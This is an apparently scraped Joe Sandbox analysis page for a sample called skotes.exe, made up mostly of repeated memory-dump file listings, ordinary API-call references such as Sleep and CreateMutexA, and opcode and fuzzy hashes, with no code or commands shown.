Associated: 00000001.00000002.1784119117.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784136899.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784152786.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784168914.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784265340.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784285025.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784306328.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784306328.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784347129.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784365223.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784386380.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784403520.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784421796.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784439262.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784456215.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784476862.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784498438.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784516662.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784534914.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784553811.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784570785.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784590879.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784612286.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784630549.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784648394.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784665638.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784682274.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784700581.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784718923.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784737211.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784756543.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784775321.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784795973.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784813726.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784813726.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784859678.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784876889.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784894901.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784913295.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784930342.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784948173.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784966325.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784985869.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 17ca4f5d8e763b6519dad1a326fde3ea8b957631e2a64826595291dafad928c8
Instruction ID: b953e28f7c97e149c91b69eb8f8dfdc37d80113d2f2cadf32a4a354c1a6c289f
Opcode Fuzzy Hash: 17ca4f5d8e763b6519dad1a326fde3ea8b957631e2a64826595291dafad928c8
Instruction Fuzzy Hash: 09F0A73264E12466EB217A769C01A5B77D9DF837B0B2981E6EC16A7D91DF38DC0086E0

Non-executed Functions

Function 00BACBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00BACC66

Memory Dump Source

Source File: 00000001.00000002.1784037637.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000001.00000002.1784021361.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784037637.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784102222.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784119117.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784136899.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784152786.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784168914.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784265340.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784285025.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784306328.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784306328.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784347129.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784365223.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784386380.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784403520.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784421796.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784439262.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784456215.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784476862.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784498438.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784516662.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784534914.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784553811.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784570785.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784590879.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784612286.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784630549.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784648394.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784665638.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784682274.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784700581.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784718923.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784737211.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784756543.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784775321.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784795973.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784813726.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784813726.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784859678.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784876889.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784894901.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784913295.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784930342.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784948173.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784966325.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784985869.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction ID: aa4686e9587e7ded220a5291786af77e32d18c311b138c076df228285fc14472
Opcode Fuzzy Hash: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction Fuzzy Hash: 2EB104329086859FDB15CF28C8817BEBFE5EF56350F1481FAE855EB242D6349D01CBA4

Function 00B72EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00B72F5F
__Mtx_unlock.LIBCPMT ref: 00B72FCC
__Mtx_unlock.LIBCPMT ref: 00B730F5
__Mtx_unlock.LIBCPMT ref: 00B7319B

Memory Dump Source

Source File: 00000001.00000002.1784037637.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000001.00000002.1784021361.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784037637.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784102222.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784119117.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784136899.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784152786.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784168914.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784265340.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784285025.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784306328.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784306328.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784347129.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784365223.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784386380.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784403520.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784421796.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784439262.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784456215.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784476862.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784498438.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784516662.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784534914.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784553811.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784570785.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784590879.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784612286.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784630549.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784648394.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784665638.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784682274.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784700581.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784718923.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784737211.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784756543.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784775321.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784795973.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784813726.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784813726.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784859678.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784876889.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784894901.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784913295.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784930342.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784948173.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784966325.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784985869.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 25e1ddbf7358814f205d7bb65d61d0ef3abe49c1018f9abe92e7995d402209c3
Instruction ID: 583099aebe30a6a4c5a8a0bab37f3a427bedc90798c9e8eaa9ee393735668e98
Opcode Fuzzy Hash: 25e1ddbf7358814f205d7bb65d61d0ef3abe49c1018f9abe92e7995d402209c3
Instruction Fuzzy Hash: 37A1E3B0A012059FDB10EF64C844B6ABBF8FF15710F0481A9E829D7691EB31EA04DBE1

Analysis Process: skotes.exePID: 7756, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	593
Total number of Limit Nodes:	4

Executed Functions

Function 00BA652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00BA652A,?,?,?,?,?,00BA7661), ref: 00BA6567

Memory Dump Source

Source File: 00000002.00000002.1790140018.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.1790120585.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790140018.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790207869.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790227080.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790247605.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790268890.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790286716.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790463478.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790485734.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790515342.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790515342.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790562467.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790585139.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790609150.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790630215.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790650253.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790670274.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790689351.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790712211.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790736247.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790755554.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790776698.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790798336.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790817095.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790838852.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790867179.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790887068.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790907704.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790927599.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790948804.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790968766.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790988666.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791007729.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791029348.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791053892.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791102942.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791135863.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791135863.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791187377.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791207621.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791232555.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791252075.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791273107.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791291767.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791310531.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791330824.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 15cc684039de05c884ef5c8def6951423d0996ca775c3d5cfb02968753372f29
Instruction ID: 277f0e2f6ca447090b7c10ea0f9d115bac03508b2e90014fb31073a9a6fb0f66
Opcode Fuzzy Hash: 15cc684039de05c884ef5c8def6951423d0996ca775c3d5cfb02968753372f29
Instruction Fuzzy Hash: 96E08C3044420CAFCF257B18CC09D4C3BA9EB62755F484840FD1846222CB35EE82CA90

Function 00B79BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000002.00000002.1790140018.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.1790120585.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790140018.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790207869.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790227080.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790247605.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790268890.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790286716.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790463478.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790485734.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790515342.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790515342.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790562467.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790585139.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790609150.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790630215.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790650253.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790670274.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790689351.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790712211.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790736247.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790755554.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790776698.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790798336.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790817095.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790838852.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790867179.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790887068.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790907704.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790927599.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790948804.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790968766.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790988666.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791007729.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791029348.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791053892.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791102942.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791135863.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791135863.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791187377.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791207621.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791232555.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791252075.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791273107.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791291767.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791310531.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791330824.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ec06cbe27e21254776d75a3c44c1fad847f279c88145786f423259d13e0ed33a
Instruction ID: d7139c11b52e1c709f7e24238e80102af6e266788c0c8ce59df75d192acb5555
Opcode Fuzzy Hash: ec06cbe27e21254776d75a3c44c1fad847f279c88145786f423259d13e0ed33a
Instruction Fuzzy Hash: B8315B316042049BEB08EB78DD89B5DBBF2EBC6310F24C299E128973D6DB759981C752

Function 00B79F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000002.00000002.1790140018.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.1790120585.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790140018.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790207869.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790227080.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790247605.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790268890.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790286716.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790463478.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790485734.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790515342.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790515342.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
